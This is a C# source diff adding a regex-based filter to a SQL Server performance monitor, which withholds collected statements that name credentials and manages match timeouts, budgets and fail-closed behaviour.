+                // judged as its escaped text, which the judge's patterns do not match: refuse it instead.
+                if (StartsWithJsonOpener(output)) return refusal;
+                return Whole(output, text, xml, refusal);
+            }
+
+            if (root is null) return output;
+
+            bool changed = false;
+            JsonNode? walked = Walk(root, text, xml, ref changed);
+            if (!changed) return output;
+            return walked is null ? "null" : walked.ToJsonString(McpHelpers.JsonOptions);
+        }
+        catch (Exception)
+        {
+            return refusal;
+        }
+    }
+
+    /// <summary>Judges a non-JSON output as one piece. A judge that returns null for a non-empty piece fails closed.</summary>
+    private static string Whole(string output, Func<string?, string?> text, Func<string?, string?> xml, string refusal)
+    {
+        string? judged = StartsWithAngle(output) ? xml(output) : text(output);
+        return judged ?? refusal;
+    }
+
+    /// <summary>True when the first non-space character of <paramref name="s"/> is <c>{</c> or <c>[</c>.</summary>
+    private static bool StartsWithJsonOpener(string s)
+    {
+        foreach (char c in s)
+        {
+            if (char.IsWhiteSpace(c)) continue;
+            return c == '{' || c == '[';
+        }
+        return false;
+    }
+
+    /// <summary>True when the first non-space character of <paramref name="s"/> is <c>&lt;</c>.</summary>
+    private static bool StartsWithAngle(string s)
+    {
+        foreach (char c in s)
+        {
+            if (char.IsWhiteSpace(c)) continue;
+            return c == '<';
+        }
+        return false;
+    }
+
+    /// <summary>
+    /// Returns the node to keep in <paramref name="node"/>'s place: the node itself (its children may have been
+    /// replaced in place) or a fresh string value. <paramref name="changed"/> turns true when anything differs.
+    /// </summary>
+    private static JsonNode? Walk(JsonNode? node, Func<string?, string?> text, Func<string?, string?> xml, ref bool changed)
+    {
+        switch (node)
+        {
+            case JsonObject obj:
+                WalkObject(obj, text, xml, ref changed);
+                return obj;
+            case JsonArray arr:
+                for (int i = 0; i < arr.Count; i++)
+                {
+                    JsonNode? child = arr[i];
+                    bool childChanged = false;
+                    JsonNode? replaced = Walk(child, text, xml, ref childChanged);
+                    if (!childChanged) continue;
+                    changed = true;
+                    if (ReferenceEquals(replaced, child)) continue;
+                    arr[i] = replaced;
+                }
+                return arr;
+            case JsonValue val:
+                if (val.GetValueKind() != JsonValueKind.String) return val;
+                string s = val.GetValue<string>();
+                string? judged = JudgeValue(s, text, xml);
+                if (string.Equals(judged, s, StringComparison.Ordinal)) return val;
+                changed = true;
+                return judged is null ? null : JsonValue.Create(judged);
+            default:
+                return node;
+        }
+    }
+
+    private static void WalkObject(JsonObject obj, Func<string?, string?> text, Func<string?, string?> xml, ref bool changed)
+    {
+        var pairs = new List<KeyValuePair<string, JsonNode?>>(obj.Count);
+        foreach (KeyValuePair<string, JsonNode?> pair in obj) pairs.Add(pair);
+
+        bool objectChanged = false;
+        var used = new HashSet<string>(StringComparer.Ordinal);
+        var rebuilt = new List<KeyValuePair<string, JsonNode?>>(pairs.Count);
+        for (int n = 0; n < pairs.Count; n++)
+        {
+            string key = pairs[n].Key;
+            JsonNode? value = pairs[n].Value;
+
+            string newKey = key;
+            if (key.Length >= MinTextChars)
+            {
+                string? judgedKey = text(key);
+                if (judgedKey is null || !string.Equals(judgedKey, key, StringComparison.Ordinal))
+                {
+                    newKey = (judgedKey ?? string.Empty) + "#" + n.ToString(System.Globalization.CultureInfo.InvariantCulture);
+                    objectChanged = true;
+                }
+            }
+            // A kept key could in theory equal an earlier renamed one; the position suffix makes that
+            // vanishingly rare, and this keeps the object's keys unique if it ever happens.
+            while (!used.Add(newKey))
+            {
+                newKey += "_";
+                objectChanged = true;
+            }
+
+            bool childChanged = false;
+            JsonNode? newValue = Walk(value, text, xml, ref childChanged);
+            if (childChanged) objectChanged = true;
+            rebuilt.Add(new KeyValuePair<string, JsonNode?>(newKey, newValue));
+        }
+
+        if (!objectChanged) return;
+        changed = true;
+
+        // Detach the children, then add them back under their (possibly renamed) keys in the same order.
+        obj.Clear();
+        foreach (KeyValuePair<string, JsonNode?> pair in rebuilt)
+        {
+            JsonNode? value = pair.Value;
+            if (value?.Parent != null) value = value.DeepClone();
+            obj.Add(pair.Key, value);
+        }
+    }
+
+    private static string? JudgeValue(string s, Func<string?, string?> text, Func<string?, string?> xml)
+    {
+        if (StartsWithAngle(s)) return xml(s);
+        if (s.Length >= MinTextChars) return text(s);
+        return s;
+    }
+}
diff --git a/PerformanceMonitor.Common/SensitiveStatements.Regex.cs b/PerformanceMonitor.Common/SensitiveStatements.Regex.cs
new file mode 100644
index 0000000000..29bc94e9a1
--- /dev/null
+++ b/PerformanceMonitor.Common/SensitiveStatements.Regex.cs
@@ -0,0 +1,749 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Net;
+using System.Text.RegularExpressions;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The .NET evaluation of the shared statement filter (#4348): the same pattern PostgreSQL judges with
+/// <c>~*</c>, translated token by token into a .NET regular expression. The translation is derived from
+/// <see cref="Pattern"/> at first use and never copied, so the two engines cannot drift apart on what the
+/// pattern says. Nothing calls it yet.
+/// </summary>
+public static partial class SensitiveStatements
+{
+    /// <summary>The per-value match timeout. A value that runs past it is treated as named.</summary>
+    internal static readonly TimeSpan MatchTimeout = TimeSpan.FromMilliseconds(250);
+
+    /// <summary>The outcome of judging one value. <see cref="TimedOut"/> counts as named everywhere.</summary>
+    internal enum Verdict
+    {
+        Clean,
+        Named,
+        TimedOut,
+    }
+
+    // Case-sensitive on purpose (#5320 L1): under IgnoreCase .NET also reads U+212A (the Kelvin sign) as a member
+    // of [A-Za-z], which a C-locale PostgreSQL word-boundary check does not.
+    private const string WordChars = "(?-i:[0-9A-Za-z_])";
+
+    // Lazily built, once. Null after a failed guard: every value is then named (fail closed).
+    private static readonly Lazy<Func<string, Verdict>> s_judge =
+        new(() => CreateProductionJudge());
+
+    /// <summary>The linear-time pre-check of <see cref="Pattern"/> (see <see cref="CreatePrefilter"/>), built once
+    /// and shared (#5477): it is the first test the production judge makes on every value, and the whole-document
+    /// check in <see cref="RawTextHoldsNothingNamed"/> reads the SAME instance, so a document is cleared by exactly the
+    /// pre-check that would have cleared each of its values, and its lazily built states are built once. Null when
+    /// the build fails; every caller then runs the full judge.</summary>
+    private static readonly Lazy<Regex?> s_prefilter = new(() => CreatePrefilter(Pattern, MatchTimeout));
+
+    /// <summary>Whether the shared judge is a working judge (#5477): a judge whose build failed names every value, and a
+    /// pre-check that cleared a document must never stand in for it. Probed once, on a value no pattern names.</summary>
+    private static readonly Lazy<bool> s_judgeIsLive = new(() => JudgeShared(s_judge, "select 1") == Verdict.Clean);
+
+    /// <summary>The judge every production caller shares (#5320 N2), with its pattern, timeout and split. Internal
+    /// so a test can build it with a fake <paramref name="clock"/> and pin that it really is the split judge: a
+    /// one-regex judge answers differently once the clock says the first part used most of the budget.</summary>
+    internal static Func<string, Verdict> CreateProductionJudge(Func<TimeSpan>? clock = null) =>
+        CreateJudge(Pattern, MatchTimeout, headAlternatives: JudgeHeadAlternatives, clock: clock, sharedPrefilter: s_prefilter);
+
+    /// <summary>True once the shared judge is built. Exposed so a test can pin <see cref="WarmUp"/>.</summary>
+    internal static bool JudgeIsBuilt => s_judge.IsValueCreated;
+
+    /// <summary>Builds the shared judge now (#5320 N1). The build takes about 250-310 ms on a quiet machine
+    /// and 570-880 ms under load, and the first non-empty value pays it, so a host that judges on a UI thread
+    /// or on a request a user waits on starts this on a background thread at startup
+    /// (<c>_ = Task.Run(SensitiveStatements.WarmUp)</c>). Safe to call again and from any thread; never throws.
+    /// A build that fails is cached by the <see cref="Lazy{T}"/>, and the callers already fail closed on it.</summary>
+    public static void WarmUp()
+    {
+        try
+        {
+            _ = s_judge.Value;
+        }
+#pragma warning disable CA1031 // a failed warm-up only costs the first caller its time; callers fail closed
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+        }
+    }
+
+    /// <summary>The pattern as .NET reads it, or null when a guard failed. Exposed so a test can pin the
+    /// translation as a literal.</summary>
+    internal static string? TranslatedPattern => TryTranslate(Pattern, out var translated) ? translated : null;
+
+    /// <summary>
+    /// Translates a POSIX ARE source into the .NET equivalent, or returns false when a guard fails. Guards:
+    /// the source has no backslash and no <c>^</c> or <c>$</c> outside a bracket expression (a <c>]</c> that
+    /// closes no open bracket is a literal), and no <c>[:</c> remains after translating.
+    /// </summary>
+    internal static bool TryTranslate(string source, out string translated) =>
+        TryTranslate(source, factor: true, dropAssertions: false, out translated);
+
+    /// <summary>
+    /// The translation with two switches for the pre-check and the offline pins. <paramref name="factor"/> false
+    /// leaves the word-start assertion on every alternative (the unfactored form a test compares against).
+    /// <paramref name="dropAssertions"/> true removes every word-boundary assertion instead of translating it, so
+    /// the result matches a superset of what the full translation matches and uses no lookaround, which lets
+    /// <see cref="RegexOptions.NonBacktracking"/> run it in linear time.
+    /// </summary>
+    internal static bool TryTranslate(string source, bool factor, bool dropAssertions, out string translated)
+    {
+        translated = string.Empty;
+        if (source.Length == 0 || source.Contains('\\', StringComparison.Ordinal) || !AnchorsOnlyInBrackets(source))
+        {
+            return false;
+        }
+
+        // The word-boundary tokens first, then the classes (a class sits inside a bracket expression).
+        var wordStart = dropAssertions ? string.Empty : "(?<!" + WordChars + ")(?=" + WordChars + ")";
+        var wordEnd = dropAssertions ? string.Empty : "(?<=" + WordChars + ")(?!" + WordChars + ")";
+        var result = source
+            .Replace("[[:<:]]", wordStart, StringComparison.Ordinal)
+            .Replace("[[:>:]]", wordEnd, StringComparison.Ordinal)
+            .Replace("[:space:]", "\\s",StringComparison.Ordinal)
+            .Replace("[:cntrl:]", "\\p{Cc}",StringComparison.Ordinal);
+
+        if (result.Contains("[:", StringComparison.Ordinal))
+        {
+            return false;
+        }
+
+        translated = factor && !dropAssertions ? FactorWordStart(result) : result;
+        return true;
+    }
+
+    private const string WordStart = "(?<!" + WordChars + ")(?=" + WordChars + ")";
+
+    /// <summary>
+    /// Hoists the word-start assertion that most top-level alternatives begin with into one group:
+    /// <c>S a|S b|c</c> becomes <c>(?:S (?:a|b))|c</c>. The same strings match; only the engine's search
+    /// differs. With the assertion repeated at the head of every alternative .NET tries all of them at every
+    /// position and a 1,000,000-character statement takes about 300 ms (past the 250 ms match timeout, so it
+    /// would be withheld); hoisted it takes about 80 ms. The judge factors each of its two parts (see
+    /// <see cref="JudgeHeadAlternatives"/>) on its own; a part with fewer than two such alternatives is left as it is.
+    /// </summary>
+    private static string FactorWordStart(string translated)
+    {
+        var grouped = new List<string>();
+        var others = new List<string>();
+        var start = 0;
+        var depth = 0;
+        for (var i = 0; i <= translated.Length; i++)
+        {
+            if (i == translated.Length || (translated[i] == '|' && depth == 0))
+            {
+                var branch = translated.Substring(start, i - start);
+                if (branch.StartsWith(WordStart, StringComparison.Ordinal))
+                {
+                    grouped.Add(branch.Substring(WordStart.Length));
+                }
+                else
+                {
+                    others.Add(branch);
+                }
+
+                start = i + 1;
+                continue;
+            }
+
+            switch (translated[i])
+            {
+                case '[':
+                    // A bracket expression: a leading ^ and then a leading ] are part of it.
+                    i++;
+                    if (i < translated.Length && translated[i] == '^')
+                    {
+                        i++;
+                    }
+
+                    if (i < translated.Length && translated[i] == ']')
+                    {
+                        i++;
+                    }
+
+                    while (i < translated.Length && translated[i] != ']')
+                    {
+                        i++;
+                    }
+
+                    break;
+                case '(':
+                    depth++;
+                    break;
+                case ')':
+                    depth--;
+                    break;
+            }
+        }
+
+        if (grouped.Count < 2 || depth != 0)
+        {
+            return translated;
+        }
+
+        var factored = "(?:" + WordStart + "(?:" + string.Join("|", grouped) + "))";
+        return others.Count == 0 ? factored : factored + "|" + string.Join("|", others);
+    }
+
+    /// <summary>True when no <c>^</c> or <c>$</c> sits outside a bracket expression. Inside a bracket a
+    /// <c>[:name:]</c> class is skipped whole; a first <c>]</c> (after an optional <c>^</c>) is a literal;
+    /// a <c>]</c> outside any bracket is a literal.</summary>
+    private static bool AnchorsOnlyInBrackets(string source)
+    {
+        var i = 0;
+        while (i < source.Length)
+        {
+            var c = source[i];
+            if (c == '^' || c == '$')
+            {
+                return false;
+            }
+
+            if (c != '[')
+            {
+                i++;
+                continue;
+            }
+
+            i = EndOfBracket(source, i);
+            if (i < 0)
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /// <summary>The index just past the bracket expression that opens at <paramref name="open"/>, or -1 when it
+    /// never closes. A <c>^</c> and then a <c>]</c> right after the opening bracket belong to it, and a
+    /// <c>[:name:]</c> class inside is skipped whole.</summary>
+    private static int EndOfBracket(string source, int open)
+    {
+        var i = open + 1;
+        if (i < source.Length && source[i] == '^')
+        {
+            i++;
+        }
+
+        if (i < source.Length && source[i] == ']')
+        {
+            i++;
+        }
+
+        while (i < source.Length)
+        {
+            if (source[i] == '[' && i + 1 < source.Length && source[i + 1] == ':')
+            {
+                var end = source.IndexOf(":]", i + 2, StringComparison.Ordinal);
+                if (end < 0)
+                {
+                    return -1;
+                }
+
+                i = end + 2;
+                continue;
+            }
+
+            if (source[i] == ']')
+            {
+                return i + 1;
+            }
+
+            i++;
+        }
+
+        return -1;
+    }
+
+    /// <summary>
+    /// Cuts a pattern source at the top-level <c>|</c> that ends its first <paramref name="headAlternatives"/>
+    /// alternatives (#5320 M1): <paramref name="head"/> is those alternatives, <paramref name="tail"/> is the rest,
+    /// and <c>head + "|" + tail</c> is exactly <paramref name="source"/>. A <c>|</c> inside a group or a bracket
+    /// expression is not top level. False, with the whole source in <paramref name="head"/>, when the source has
+    /// no alternative after the first <paramref name="headAlternatives"/> (or the count is below one).
+    /// </summary>
+    internal static bool TrySplitAlternatives(string source, int headAlternatives, out string head, out string tail)
+    {
+        head = source;
+        tail = string.Empty;
+        if (headAlternatives < 1)
+        {
+            return false;
+        }
+
+        var seen = 0;
+        var depth = 0;
+        var i = 0;
+        while (i < source.Length)
+        {
+            switch (source[i])
+            {
+                case '[':
+                    i = EndOfBracket(source, i);
+                    if (i < 0)
+                    {
+                        return false;
+                    }
+
+                    continue;
+                case '(':
+                    depth++;
+                    break;
+                case ')':
+                    depth--;
+                    break;
+                case '|' when depth == 0:
+                    seen++;
+                    if (seen == headAlternatives)
+                    {
+                        if (i + 1 >= source.Length)
+                        {
+                            return false;
+                        }
+
+                        head = source.Substring(0, i);
+                        tail = source.Substring(i + 1);
+                        return true;
+                    }
+
+                    break;
+            }
+
+            i++;
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// Builds the linear-time pre-check for a pattern source: the same translation with every word-boundary
+    /// assertion removed, run with <see cref="RegexOptions.NonBacktracking"/>. It matches a superset of the
+    /// full judge, so no hit means the full judge cannot match either; a hit proves nothing and the full judge
+    /// decides. Null when the guards or the build fail, and the caller then always runs the full judge (fail
+    /// closed: a missing pre-check only costs time).
+    /// </summary>
+    internal static Regex? CreatePrefilter(string source, TimeSpan timeout)
+    {
+        if (!TryTranslate(source, factor: false, dropAssertions: true, out var superset))
+        {
+            return null;
+        }
+
+        try
+        {
+            return new Regex(
+                superset,
+                RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.Singleline | RegexOptions.NonBacktracking,
+                timeout);
+        }
+#pragma warning disable CA1031 // fail closed: no pre-check means the full judge runs on every value
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return null;
+        }
+    }
+
+    private const string WarmUpText = "create user warm_up password 'x'";
+
+    /// <summary>
+    /// A compiled regex built at several match timeouts, each half the one above, so one value can be matched
+    /// against what is left of a shared time budget (#5320 M1). A <see cref="Regex"/> takes its timeout when it is
+    /// built and has no per-call limit, so the rung that fits the time left is the one that runs: the largest whose
+    /// limit is no more than the time left, and no rung at all (a timeout) when less than the smallest is left.
+    /// The two largest rungs are compiled (a compiled copy is about four times faster, and one of them runs for
+    /// every value that backs a long first part); the two smallest are interpreted, which costs no compile or JIT
+    /// time at build, and only runs when most of the budget is already gone. The compile and the warm-up of every rung
+    /// happen at build, outside any budget.
+    /// </summary>
+    internal sealed class BudgetedRegex
+    {
+        private const int Rungs = 4;
+        private const int CompiledRungs = 2;
+        private readonly TimeSpan[] _limits = new TimeSpan[Rungs];
+        private readonly Regex[] _regexes = new Regex[Rungs];
+
+        public BudgetedRegex(string translated, TimeSpan timeout)
+        {
+            // The top rung is three quarters of the budget: after any real matching work less than the whole budget
+            // is left, so a rung equal to it would never be used.
+            var limitMs = Math.Max(1, (long)(timeout.TotalMilliseconds * 3 / 4));
+            for (var i = 0; i < Rungs; i++)
+            {
+                _limits[i] = TimeSpan.FromMilliseconds(Math.Max(1, limitMs >> i));
+                _regexes[i] = NewRegex(translated, _limits[i], compiled: i < CompiledRungs);
+            }
+        }
+
+        public void WarmUp(string text)
+        {
+            foreach (var regex in _regexes)
+            {
+                regex.IsMatch(text);
+            }
+        }
+
+        /// <summary>True when the regex matches; <see cref="RegexMatchTimeoutException"/> when it ran out of
+        /// <paramref name="remaining"/> time, or when too little was left to try.</summary>
+        public bool IsMatch(string text, TimeSpan remaining)
+        {
+            for (var i = 0; i < Rungs; i++)
+            {
+                if (_limits[i] <= remaining)
+                {
+                    return _regexes[i].IsMatch(text);
+                }
+            }
+
+            throw new RegexMatchTimeoutException(string.Empty, string.Empty, remaining);
+        }
+    }
+
+    private static Regex NewRegex(string translated, TimeSpan timeout, bool compiled = true) =>
+        new(
+            translated,
+            RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.Singleline
+                | (compiled ? RegexOptions.Compiled : RegexOptions.None),
+            timeout);
+
+    /// <summary>Builds a judge for a pattern source. A failed guard, or a translation .NET cannot compile,
+    /// gives a judge that names every value. <paramref name="factor"/> and <paramref name="prefilter"/> exist so
+    /// a test can build the unfactored form and the judge without the pre-check.
+    /// <para><paramref name="headAlternatives"/> above zero compiles the source as two regexes (#5320 M1): its
+    /// first <paramref name="headAlternatives"/> top-level alternatives, then the rest (see
+    /// <see cref="JudgeHeadAlternatives"/>). A value is named when either matches. Both run inside the one
+    /// <paramref name="timeout"/>: the first gets all of it, the second only what the first left, and a value that
+    /// the pair cannot finish in that time is <see cref="Verdict.TimedOut"/>, so the pair never runs longer than
+    /// the timeout plus one regex's own overshoot (the linear-time pre-check is outside it, as before). Zero
+    /// compiles one regex. <paramref name="clock"/> reads the elapsed time the budget is charged with, and exists so a
+    /// test can say how long the first part took.</para></summary>
+    internal static Func<string, Verdict> CreateJudge(
+        string source,
+        TimeSpan timeout,
+        bool factor = true,
+        bool prefilter = true,
+        int headAlternatives = 0,
+        Func<TimeSpan>? clock = null,
+        Lazy<Regex?>? sharedPrefilter = null)
+    {
+        var now = clock ?? (static () => Stopwatch.GetElapsedTime(0));
+        var headSource = source;
+        string? tailSource = null;
+        if (TrySplitAlternatives(source, headAlternatives, out var splitHead, out var splitTail))
+        {
+            headSource = splitHead;
+            tailSource = splitTail;
+        }
+
+        string? tailTranslated = null;
+        if (!TryTranslate(headSource, factor, dropAssertions: false, out var headTranslated)
+            || (tailSource is not null && !TryTranslate(tailSource, factor, dropAssertions: false, out tailTranslated)))
+        {
+            return static _ => Verdict.Named;
+        }
+
+        Regex head;
+        BudgetedRegex? tail = null;
+        try
+        {
+            head = NewRegex(headTranslated, timeout);
+            if (tailTranslated is not null)
+            {
+                tail = new BudgetedRegex(tailTranslated, timeout);
+            }
+        }
+        catch (ArgumentException)
+        {
+            return static _ => Verdict.Named;
+        }
+
+        // The pre-check is always built from the whole source: one linear-time pass over the superset, however
+        // many regexes follow it.
+        var precheck = prefilter ? (sharedPrefilter is not null ? sharedPrefilter.Value : CreatePrefilter(source, timeout)) : null;
+
+        // #5320 L3: the build stays outside any budget. The regexes are compiled above, and the first match still
+        // pays the one-time JIT of the compiled code (inside the match timeout and the caller's clock), so run
+        // each engine once on a short value here, where a budget does not time it.
+        try
+        {
+            precheck?.IsMatch(WarmUpText);
+            head.IsMatch(WarmUpText);
+            tail?.WarmUp(WarmUpText);
+        }
+#pragma warning disable CA1031 // a failed warm-up only costs the first caller its time
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+        }
+
+        return text =>
+        {
+            try
+            {
+                // #5320 M1: no hit in the linear-time superset means the exact pattern cannot match either.
+                if (precheck is not null && !precheck.IsMatch(text))
+                {
+                    return Verdict.Clean;
+                }
+
+                var started = now();
+                if (head.IsMatch(text))
+                {
+                    return Verdict.Named;
+                }
+
+                if (tail is null)
+                {
+                    return Verdict.Clean;
+                }
+
+                return tail.IsMatch(text, timeout - (now() - started)) ? Verdict.Named : Verdict.Clean;
+            }
+            catch (RegexMatchTimeoutException)
+            {
+                return Verdict.TimedOut;
+            }
+#pragma warning disable CA1031 // fail closed: any other failure counts as named
+            catch (Exception)
+#pragma warning restore CA1031
+            {
+                return Verdict.Named;
+            }
+        };
+    }
+
+    /// <summary>Judges one value against <see cref="Pattern"/>. Null or empty is clean; an exception is named.</summary>
+    internal static Verdict Judge(string text) => JudgeShared(s_judge, text);
+
+    private static Verdict JudgeShared(Lazy<Func<string, Verdict>> shared, string text)
+    {
+        if (string.IsNullOrEmpty(text))
+        {
+            return Verdict.Clean;
+        }
+
+        try
+        {
+            return shared.Value(text);
+        }
+#pragma warning disable CA1031 // fail closed
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return Verdict.Named;
+        }
+    }
+
+    /// <summary>True when <paramref name="text"/> is named by the filter, including a timed-out judgement.
+    /// Null or empty is false.</summary>
+    public static bool Names(string? text) => !string.IsNullOrEmpty(text) && Judge(text) != Verdict.Clean;
+
+    /// <summary>
+    /// <see cref="PlaceholderText"/> when <paramref name="text"/> is named, or when it contains <c>&amp;</c>
+    /// and its HTML-decoded form is named; otherwise the same instance. Never throws.
+    /// </summary>
+    public static string? Text(string? text)
+    {
+        if (string.IsNullOrEmpty(text))
+        {
+            return text;
+        }
+
+        try
+        {
+            if (Judge(text) != Verdict.Clean)
+            {
+                return PlaceholderText;
+            }
+
+            if (text.Contains('&', StringComparison.Ordinal) && Judge(WebUtility.HtmlDecode(text)) != Verdict.Clean)
+            {
+                return PlaceholderText;
+            }
+
+            return text;
+        }
+#pragma warning disable CA1031 // fail closed
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return PlaceholderText;
+        }
+    }
+
+    /// <summary>
+    /// Runs a judge under an elapsed-time budget. Once <see cref="Elapsed"/> reaches the limit
+    /// (<see cref="Spent"/>), every later value is returned as named without running the judge and is counted
+    /// unjudged.
+    /// <para><b>Growth (#5477).</b> The limit the constructor takes is the floor. Each distinct document that
+    /// enters the budget through <c>SensitiveStatements.Xml</c>, <c>Json</c> or <c>TextUnder</c> (<see cref="Earn"/>)
+    /// adds <see cref="EarnPerMegabyte"/> per 1,048,576 characters of its length, proportionally, up to
+    /// <see cref="MaxLimit"/> in all (a floor above the cap stays as it is). Values nested inside a document add
+    /// nothing, and neither does a document the budget has already judged. So a blocking alert whose incidents each
+    /// carry a large report is not starved by the first, and one alert or one web or MCP read still stalls for at
+    /// most the cap plus one value's match timeout.</para>
+    /// <para><b>Memo (#5477).</b> The same entry points judge a distinct document once per budget: a repeat of
+    /// the same text (the alert's attachment and its incident's are one string) returns exactly what the first
+    /// call returned, a withheld marker included, and charges nothing. The memo lives on the budget and dies with
+    /// it; nothing is cached across budgets.</para>
+    /// </summary>
+    internal sealed class JudgeBudget(
+        TimeSpan limit,
+        Func<string, Verdict>? judge = null,
+        Func<TimeSpan>? clock = null,
+        Lazy<Func<string, Verdict>>? shared = null)
+    {
+        private readonly Func<string, Verdict>? _judge = judge;
+        private readonly Lazy<Func<string, Verdict>> _shared = shared ?? s_judge;
+        private readonly Func<TimeSpan> _now = clock ?? (static () => Stopwatch.GetElapsedTime(0));
+        private TimeSpan _elapsed;
+        private TimeSpan _earned;
+        private Dictionary<(int Kind, string Text, int Cap), (string? Result, bool Unchanged)>? _memo;
+
+        /// <summary>Added to the limit per 1,048,576 characters of each distinct document (#5477).</summary>
+        internal static readonly TimeSpan EarnPerMegabyte = TimeSpan.FromMilliseconds(500);
+
+        /// <summary>The most a budget can grow to (#5477). A floor above it stays as it is.</summary>
+        internal static readonly TimeSpan MaxLimit = TimeSpan.FromSeconds(10);
+
+        private readonly TimeSpan _floor = limit;
+
+        /// <summary>The floor plus what the documents earned, never above <see cref="MaxLimit"/>.</summary>
+        public TimeSpan Limit
+        {
+            get
+            {
+                var grown = _floor + _earned;
+                var cap = _floor > MaxLimit ? _floor : MaxLimit;
+                return grown > cap ? cap : grown;
+            }
+        }
+
+        /// <summary>XML and JSON documents the entry points judged, memo hits and plain text values not counted (#5477).</summary>
+        public int DocumentPasses { get; private set; }
+
+        /// <summary>Grows the limit for one distinct document of <paramref name="characters"/> characters
+        /// (#5477): 0.5 s per 1,048,576, proportional.</summary>
+        public void Earn(int characters)
+        {
+            if (characters > 0)
+            {
+                _earned += TimeSpan.FromTicks((long)(EarnPerMegabyte.Ticks * (characters / 1048576.0)));
+            }
+        }
+
+        /// <summary>The result an entry point returned for this text before, if any (#5477). The text is found by ordinal
+        /// equality, and when the first call returned its input as it was, the caller gets its OWN instance back, so the
+        /// "same instance when nothing is named" contract holds for an equal copy too.</summary>
+        internal bool TryRecall(int kind, string text, int cap, out string? result)
+        {
+            result = null;
+            if (_memo is null || !_memo.TryGetValue((kind, text, cap), out var hit))
+            {
+                return false;
+            }
+
+            result = hit.Unchanged ? text : hit.Result;
+            return true;
+        }
+
+        /// <summary>Remembers what an entry point returned for this text and counts the pass (#5477). The text kind is a
+        /// plain text value, which is not counted as a document.</summary>
+        internal void Remember(int kind, string text, int cap, string? result)
+        {
+            if (kind != MemoText)
+            {
+                DocumentPasses++;
+            }
+
+            (_memo ??= new())[(kind, text, cap)] = (result, ReferenceEquals(result, text));
+        }
+
+        /// <summary>True when this budget runs the production judge, not a fake one a test handed it (#5477): only then may a
+        /// whole-document pre-check stand in for judging every value.</summary>
+        internal bool UsesSharedJudge => _judge is null && ReferenceEquals(_shared, s_judge);
+
+        public TimeSpan Elapsed => _elapsed;
+
+        public bool Spent => _elapsed >= Limit;
+
+        /// <summary>Values the judge named.</summary>
+        public int Named { get; private set; }
+
+        /// <summary>Values whose match timed out (they count as named).</summary>
+        public int TimedOut { get; private set; }
+
+        /// <summary>Values returned as named because the budget was already spent.</summary>
+        public int Unjudged { get; private set; }
+
+        /// <summary>Charges time the caller spent on this budget's behalf (for example an XML parse).</summary>
+        public void AddElapsed(TimeSpan elapsed)
+        {
+            if (elapsed > TimeSpan.Zero)
+            {
+                _elapsed += elapsed;
+            }
+        }
+
+        public Verdict Judge(string text)
+        {
+            if (Spent)
+            {
+                Unjudged++;
+                return Verdict.Named;
+            }
+
+            if (_judge is null)
+            {
+                // #5320 L3: build the shared judge before the clock starts, so the budget is charged matching only.
+                try
+                {
+                    _ = _shared.Value;
+                }
+#pragma warning disable CA1031 // fail closed: a build that throws names the value below
+                catch (Exception)
+#pragma warning restore CA1031
+                {
+                }
+            }
+
+            var started = _now();
+            Verdict verdict;
+            try
+            {
+                verdict = _judge is not null ? _judge(text) : JudgeShared(_shared, text);
+            }
+#pragma warning disable CA1031 // fail closed
+            catch (Exception)
+#pragma warning restore CA1031
+            {
+                verdict = Verdict.Named;
+            }
+
+            _elapsed += _now() - started;
+            if (verdict == Verdict.Named)
+            {
+                Named++;
+            }
+            else if (verdict == Verdict.TimedOut)
+            {
+                TimedOut++;
+            }
+
+            return verdict;
+        }
+    }
+}
diff --git a/PerformanceMonitor.Common/SensitiveStatements.Session.cs b/PerformanceMonitor.Common/SensitiveStatements.Session.cs
new file mode 100644
index 0000000000..14fbd0cb6a
--- /dev/null
+++ b/PerformanceMonitor.Common/SensitiveStatements.Session.cs
@@ -0,0 +1,334 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The collection-time half of the statement filter (#4348, #5320): one <see cref="Session"/> judges the values a
+/// collector reads in one call, under one elapsed-time budget, and keeps four counters the host writes to the
+/// cycle's collection note. This file declares only the session and its process-wide memo.
+/// </summary>
+public static partial class SensitiveStatements
+{
+    /// <summary>The longest value a session remembers a verdict for when the value is a piece of a document (an
+    /// attribute or text node), so a plan with many large nodes cannot fill the memo with large strings. A
+    /// top-level value is already held by the caller's row and is remembered at any length.</summary>
+    private const int InnerMemoMaxChars = 2048;
+
+    /// <summary>Verdicts one session remembers: each distinct value is judged once (3.5).</summary>
+    private const int SessionMemoLimit = 4096;
+
+    /// <summary>Verdicts the process remembers for values whose match timed out (r2 M-G, A-5).</summary>
+    private const int TimedOutMemoLimit = 4096;
+
+    /// <summary>The elapsed-time budget of one collection session (3.4). It is per session: every value the session judges
+    /// draws on the same 15 seconds, so it is not a limit per value or per item.</summary>
+    private static readonly TimeSpan SessionBudget = TimeSpan.FromSeconds(15);
+
+    /// <summary>
+    /// The process-wide memo of timed-out verdicts. A value whose match timed out once costs 250 ms once per
+    /// process, not once per session: later sessions find its digest here and take the withheld verdict without
+    /// running the regex, charging nothing. Only timed-out verdicts are remembered (clean and named stay in a
+    /// session). The key is the SHA-256 of the value as judged, held in memory only and never stored or logged.
+    /// At most 4,096 entries; the memo is cleared when full. Thread-safe.
+    /// </summary>
+    internal sealed class TimedOutMemo
+    {
+        /// <summary>The memo every public <see cref="Session"/> shares.</summary>
+        internal static readonly TimedOutMemo Shared = new();
+
+        private readonly object _gate = new();
+        private readonly HashSet<(ulong, ulong, ulong, ulong)> _digests = new();
+        private volatile int _count;
+
+        public int Count => _count;
+
